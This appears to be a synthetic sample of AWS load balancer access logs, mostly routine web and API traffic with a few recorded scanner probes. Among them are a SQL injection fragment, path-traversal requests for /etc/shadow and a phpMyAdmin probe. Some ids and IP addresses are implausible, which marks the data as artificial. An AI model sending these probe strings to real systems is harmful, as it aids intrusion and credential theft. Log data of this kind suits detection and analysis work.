"Root=1-6723ced1-8e68d9d9f63f4afeb0ca6072" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:13.201342Z "forward" "-" "-" "10.0.248.147:443" "302" "-" "-" -https 2024-11-01T01:39:14.461303Z prod-web-alb 37.197.74.31:20549 10.0.202.154:443 0.030687 0.277171 0.077279 200 200 302 6146 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ced2-c4b237bceb4c4488be1ce0ca" "prod-web-alb.example.com" "-" 1 2024-11-01T01:39:14.461303Z "forward" "-" "-" "10.0.202.154:443" "200" "-" "-" -https 2024-11-01T01:39:15.511558Z prod-web-alb 177.196.185.254:38913 10.0.88.192:443 0.056879 0.083066 0.013799 404 404 708 8638 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ced3-c21e49d0a6fc4ad78ba4ad55" "prod-web-alb.example.com" "-" 8 2024-11-01T01:39:15.511558Z "forward" "-" "-" "10.0.88.192:443" "404" "-" "-" -https 2024-11-01T01:39:15.841286Z prod-api-alb 233.125.125.199:12108 10.0.101.43:443 0.087650 0.194045 0.016347 200 200 31 6946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ced3-763ffae30a3c49d98e414fd8" "prod-api-alb.example.com" "-" 10 2024-11-01T01:39:15.841286Z "forward" "-" "-" "10.0.101.43:443" "200" "-" "-" -https 2024-11-01T01:39:17.497332Z prod-api-alb 193.27.228.79:45205 10.0.163.189:443 0.068373 0.458974 0.095231 301 301 161 11162 "POST /phpmyadmin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ced5-b1769e89e4c94db299f9c4e9" "-" "-" 3 2024-11-01T01:39:17.497332Z "forward" "-" "-" "10.0.163.189:443" "301" "-" "-" -http 2024-11-01T01:39:18.367828Z staging-alb 176.243.116.236:26579 32.251.12.252:80 0.071237 0.120540 0.012721 200 200 976 6863 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced6-973925edc176418fb77c9fc0" "staging-alb.example.com" "-" 3 2024-11-01T01:39:18.367828Z "forward" "-" "-" "32.251.12.252:80" "200" "-" "-" -https 2024-11-01T01:39:19.060601Z prod-api-alb 107.182.177.197:32485 10.0.147.99:443 0.072398 0.206545 0.048004 200 200 414 5217 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ced7-c885074e6f4345ef9aa6f966" "prod-api-alb.example.com" "-" 1 2024-11-01T01:39:19.060601Z "forward" "-" "-" "10.0.147.99:443" "200" "-" "-" -https 2024-11-01T01:39:21.019306Z prod-web-alb 193.27.228.11:33107 10.0.41.1:443 0.016135 0.309089 0.098048 403 403 260 12569 "POST /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ced9-a4622d4a8b1546f589e610aa" "-" "-" 5 2024-11-01T01:39:21.019306Z "forward" "-" "-" "10.0.41.1:443" "403" "-" "-" -https 2024-11-01T01:39:21.182094Z staging-alb 51.153.177.249:58122 183.55.251.13:80 0.070314 0.724273 0.020378 200 200 601 12826 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ced9-5d62d35d262c47e280588b62" "staging-alb.example.com" "-" 6 2024-11-01T01:39:21.182094Z "forward" "-" "-" "183.55.251.13:80" "200" "-" "-" -https 2024-11-01T01:39:21.675957Z staging-alb 148.17.73.123:33208 212.92.183.34:8080 0.007541 0.689356 0.046384 200 200 712 6020 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced9-babf8a1c65ed46128afbd682" "staging-alb.example.com" "-" 8 2024-11-01T01:39:21.675957Z "forward" "-" "-" "212.92.183.34:8080" "200" "-" "-" -https 2024-11-01T01:39:22.035053Z prod-web-alb 19.212.61.208:28267 10.0.10.105:443 0.071040 0.410918 0.087836 302 302 280 4500 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceda-190b4e2c62d94c549d99f795" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:22.035053Z "forward" "-" "-" "10.0.10.105:443" "302" "-" "-" -https 2024-11-01T01:39:23.449815Z staging-alb 25.71.243.202:20356 236.39.72.254:80 0.021978 0.182273 0.136981 200 200 702 13157 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cedb-4bcb0edb867548cc970ed481" "staging-alb.example.com" "-" 9 2024-11-01T01:39:23.449815Z "forward" "-" "-" "236.39.72.254:80" "200" "-" "-" -https 2024-11-01T01:39:24.821944Z prod-api-alb 189.191.26.11:28026 10.0.11.84:443 0.005163 0.227360 0.013459 301 301 142 14174 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cedc-e8eeb8e128d14293ade486f8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:39:24.821944Z "forward" "-" "-" "10.0.11.84:443" "301" "-" "-" -https 2024-11-01T01:39:26.443352Z prod-api-alb 56.155.140.108:53077 10.0.203.223:443 0.057316 0.095561 0.079311 302 302 10 950 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cede-a042862b374642dcae175ffa" "prod-api-alb.example.com" "-" 10 2024-11-01T01:39:26.443352Z "forward" "-" "-" "10.0.203.223:443" "302" "-" "-" -https 2024-11-01T01:39:27.682729Z prod-web-alb 45.155.205.185:40874 10.0.135.106:443 0.026135 0.461580 0.095806 403 403 527 11219 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cedf-5f68569fcd7f4806ad9d3669" "-" "-" 10 2024-11-01T01:39:27.682729Z "forward" "-" "-" "10.0.135.106:443" "403" "-" "-" -https 2024-11-01T01:39:29.673976Z prod-web-alb 140.40.39.216:38115 10.0.109.193:443 0.009071 0.081783 0.052102 200 200 479 10923 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee1-d17dcb3393e1487c84d2a253" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:29.673976Z "forward" "-" "-" "10.0.109.193:443" "200" "-" "-" -https 2024-11-01T01:39:29.806747Z prod-api-alb 0.14.73.224:64075 10.0.99.6:443 0.016559 0.119103 0.050500 200 200 105 763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee1-ca93eb0d8a0a4c799fe7836b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:29.806747Z "forward" "-" "-" "10.0.99.6:443" "200" "-" "-" -http 2024-11-01T01:39:30.884008Z staging-alb 133.198.69.34:13835 206.78.1.111:80 0.107029 0.169493 0.094977 301 301 602 6451 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cee2-f2bcdeb6d5574f8db2a07c91" "staging-alb.example.com" "-" 7 2024-11-01T01:39:30.884008Z "forward" "-" "-" "206.78.1.111:80" "301" "-" "-" -https 2024-11-01T01:39:31.532693Z prod-web-alb 6.221.49.59:16975 10.0.110.254:443 0.014178 0.129113 0.015297 301 301 384 8138 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee3-102bdd3ee54e4365bfdd595f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:39:31.532693Z "forward" "-" "-" "10.0.110.254:443" "301" "-" "-" -https 2024-11-01T01:39:32.396744Z prod-api-alb 35.94.13.9:26848 10.0.11.227:443 0.020105 0.147786 0.089915 200 200 680 10290 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee4-599346f3f0d04fe08cefcb32" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:32.396744Z "forward" "-" "-" "10.0.11.227:443" "200" "-" "-" -https 2024-11-01T01:39:32.789169Z prod-api-alb 193.27.228.240:57118 10.0.56.78:443 0.097052 0.134871 0.011879 404 404 755 4011 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cee4-0972207ed33d4eeca22b9e1b" "-" "-" 7 2024-11-01T01:39:32.789169Z "forward" "-" "-" "10.0.56.78:443" "404" "-" "-" -https 2024-11-01T01:39:33.358360Z prod-api-alb 208.193.219.79:20741 10.0.31.63:443 0.026411 0.027289 0.057500 200 200 760 5200 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cee5-8c98c158d33f4754a59f17bd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:33.358360Z "forward" "-" "-" "10.0.31.63:443" "200" "-" "-" -https 2024-11-01T01:39:35.042426Z prod-web-alb 119.197.43.215:63273 10.0.227.110:443 0.060503 0.108361 0.039296 301 301 574 3103 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee7-fc3ab3ef99fe430bbc2f3e6f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:35.042426Z "forward" "-" "-" "10.0.227.110:443" "301" "-" "-" -https 2024-11-01T01:39:36.621380Z prod-api-alb 61.209.152.12:64325 10.0.95.74:443 0.071402 0.160895 0.006952 301 301 181 1384 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee8-76812fdb97ab44f48253a663" "prod-api-alb.example.com" "-" 1 2024-11-01T01:39:36.621380Z "forward" "-" "-" "10.0.95.74:443" "301" "-" "-" -https 2024-11-01T01:39:38.114008Z prod-api-alb 133.64.182.236:13031 10.0.234.237:443 0.099791 0.133688 0.043570 200 200 362 9885 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceea-0db55f76b0e1402d8e0dd47b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:39:38.114008Z "forward" "-" "-" "10.0.234.237:443" "200" "-" "-" -https 2024-11-01T01:39:39.409201Z prod-web-alb 46.119.122.86:54038 10.0.98.59:443 0.036925 0.135511 0.029327 200 200 823 5951 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ceeb-bb52ec9d5d144548a8ae2f26" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:39.409201Z "forward" "-" "-" "10.0.98.59:443" "200" "-" "-" -https 2024-11-01T01:39:40.354013Z prod-api-alb 127.40.184.152:39403 10.0.95.91:443 0.001810 0.330798 0.028612 302 302 177 11342 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceec-d1a178c8f9474d33906d2a5e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:40.354013Z "forward" "-" "-" "10.0.95.91:443" "302" "-" "-" -https 2024-11-01T01:39:41.173484Z prod-api-alb 135.220.54.122:63769 10.0.108.224:443 0.056987 0.147602 0.086849 302 302 465 13592 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceed-12d61855bb614426abeeee0e" "prod-api-alb.example.com" "-" 3 2024-11-01T01:39:41.173484Z "forward" "-" "-" "10.0.108.224:443" "302" "-" "-" -https 2024-11-01T01:39:42.614200Z prod-api-alb 123.7.165.142:29323 10.0.155.84:443 0.022254 0.266270 0.026157 301 301 473 4692 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ceee-cbe4c6ef541c42f698b60e97" "prod-api-alb.example.com" "-" 2 2024-11-01T01:39:42.614200Z "forward" "-" "-" "10.0.155.84:443" "301" "-" "-" -https 2024-11-01T01:39:44.119258Z prod-api-alb 209.73.88.28:53072 10.0.36.129:443 0.021015 0.102121 0.009112 404 404 180 11812 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cef0-1b8ed5d49c7d49fbbe044314" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:44.119258Z "forward" "-" "-" "10.0.36.129:443" "404" "-" "-" -https 2024-11-01T01:39:44.406750Z prod-web-alb 127.116.164.53:25071 10.0.144.71:443 0.098979 0.094548 0.090620 200 200 200 10988 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cef0-cb4815c4ae5b42f7919528e0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:39:44.406750Z "forward" "-" "-" "10.0.144.71:443" "200" "-" "-" -https 2024-11-01T01:39:44.707696Z prod-web-alb 13.7.152.243:13904 10.0.183.234:443 0.006160 0.066812 0.033207 404 404 163 14958 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cef0-795e0180bd474b99903f06f1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:44.707696Z "forward" "-" "-" "10.0.183.234:443" "404" "-" "-" -https 2024-11-01T01:39:45.857170Z prod-api-alb 65.232.173.7:16606 10.0.164.75:443 0.085485 0.392408 0.091553 302 302 608 2700 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef1-636c2b4dba8a49e3b6d5a8c3" "prod-api-alb.example.com" "-" 5 2024-11-01T01:39:45.857170Z "forward" "-" "-" "10.0.164.75:443" "302" "-" "-" -https 2024-11-01T01:39:46.864472Z prod-web-alb 46.59.58.39:56461 10.0.49.213:443 0.039315 0.166723 0.007950 302 302 970 4153 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cef2-919179782e0d4e2d931dcfa4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:46.864472Z "forward" "-" "-" "10.0.49.213:443" "302" "-" "-" -https 2024-11-01T01:39:47.726693Z prod-api-alb 204.184.247.28:62489 10.0.154.224:443 0.098754 0.371726 0.078494 200 200 186 13838 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef3-963f954b356d42168ee58a45" "-" "-" 4 2024-11-01T01:39:47.726693Z "forward" "-" "-" "10.0.154.224:443" "200" "-" "-" -https 2024-11-01T01:39:49.480957Z prod-web-alb 14.195.45.25:45330 10.0.50.194:443 0.085558 0.056069 0.025678 404 404 590 1426 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cef5-364a58cab3484f59b8dadf0b" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:49.480957Z "forward" "-" "-" "10.0.50.194:443" "404" "-" "-" -http 2024-11-01T01:39:50.031014Z staging-alb 49.127.248.146:30448 148.219.184.93:443 0.112817 0.642045 0.029410 200 200 163 5023 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cef6-544d59e279e74bb59fe5d5b1" "staging-alb.example.com" "-" 2 2024-11-01T01:39:50.031014Z "forward" "-" "-" "148.219.184.93:443" "200" "-" "-" -https 2024-11-01T01:39:51.268478Z prod-api-alb 141.17.108.72:35750 10.0.65.219:443 0.040028 0.414592 0.036265 200 200 294 9793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef7-869f94c57d5343b19fc2208e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:39:51.268478Z "forward" "-" "-" "10.0.65.219:443" "200" "-" "-" -https 2024-11-01T01:39:52.103891Z staging-alb 10.152.104.180:10751 86.42.111.80:443 0.095171 0.240467 0.050960 200 200 665 10955 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cef8-eb25a01f37944011acf6fc99" "staging-alb.example.com" "-" 1 2024-11-01T01:39:52.103891Z "forward" "-" "-" "86.42.111.80:443" "200" "-" "-" -https 2024-11-01T01:39:53.454108Z staging-alb 4.159.152.255:26516 77.246.198.98:80 0.126085 0.662307 0.016452 200 200 631 6186 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cef9-3e751da6a0454ce2b05faee0" "staging-alb.example.com" "-" 8 2024-11-01T01:39:53.454108Z "forward" "-" "-" "77.246.198.98:80" "200" "-" "-" -https 2024-11-01T01:39:54.583890Z prod-web-alb 180.108.174.62:46706 10.0.238.20:443 0.035015 0.237528 0.007727 200 200 227 11906 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cefa-e97711895742468b95203f24" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:54.583890Z "forward" "-" "-" "10.0.238.20:443" "200" "-" "-" -https 2024-11-01T01:39:54.730872Z staging-alb 28.60.160.10:57393 102.213.106.27:8080 0.026891 0.396278 0.068305 200 200 428 4254 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefa-1116d528d6d047fa823a72cd" "staging-alb.example.com" "-" 5 2024-11-01T01:39:54.730872Z "forward" "-" "-" "102.213.106.27:8080" "200" "-" "-" -https 2024-11-01T01:39:56.408014Z prod-api-alb 55.170.100.4:39539 10.0.228.4:443 0.051686 0.293009 0.018708 200 200 204 2847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cefc-8fc524df7082463ebe032819" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:56.408014Z "forward" "-" "-" "10.0.228.4:443" "200" "-" "-" -https 2024-11-01T01:39:57.036366Z staging-alb 90.126.107.60:20103 10.236.156.19:443 0.126026 0.217374 0.142347 200 200 882 3016 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefd-d1007c9b590845a5a9b4bc52" "staging-alb.example.com" "-" 10 2024-11-01T01:39:57.036366Z "forward" "-" "-" "10.236.156.19:443" "200" "-" "-" -https 2024-11-01T01:39:57.828177Z staging-alb 14.82.95.218:26053 21.214.59.159:443 0.003408 0.426883 0.029565 200 200 326 13293 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cefd-ef7e9f6ef0ff4a9b9815f60b" "staging-alb.example.com" "-" 2 2024-11-01T01:39:57.828177Z "forward" "-" "-" "21.214.59.159:443" "200" "-" "-" -http 2024-11-01T01:39:58.138921Z staging-alb 19.137.199.242:13877 190.96.196.255:80 0.051453 0.412491 0.132031 301 301 738 1953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefe-91ad446262ae4950ab604b71" "staging-alb.example.com" "-" 2 2024-11-01T01:39:58.138921Z "forward" "-" "-" "190.96.196.255:80" "301" "-" "-" -https 2024-11-01T01:39:58.250443Z prod-web-alb 152.52.104.173:32735 10.0.214.136:443 0.022357 0.436455 0.046834 200 200 594 1625 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cefe-73c9724a228142c398884c40" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:58.250443Z "forward" "-" "-" "10.0.214.136:443" "200" "-" "-" -http 2024-11-01T01:40:00.142919Z staging-alb 83.249.232.246:39475 125.236.241.207:443 0.060366 0.619754 0.096198 301 301 752 10396 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf00-26ea0bf6d75642029fb204f1" "staging-alb.example.com" "-" 6 2024-11-01T01:40:00.142919Z "forward" "-" "-" "125.236.241.207:443" "301" "-" "-" -https 2024-11-01T01:40:00.407169Z staging-alb 153.7.105.79:50642 230.57.52.174:443 0.004342 0.213134 0.125252 200 200 589 1607 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 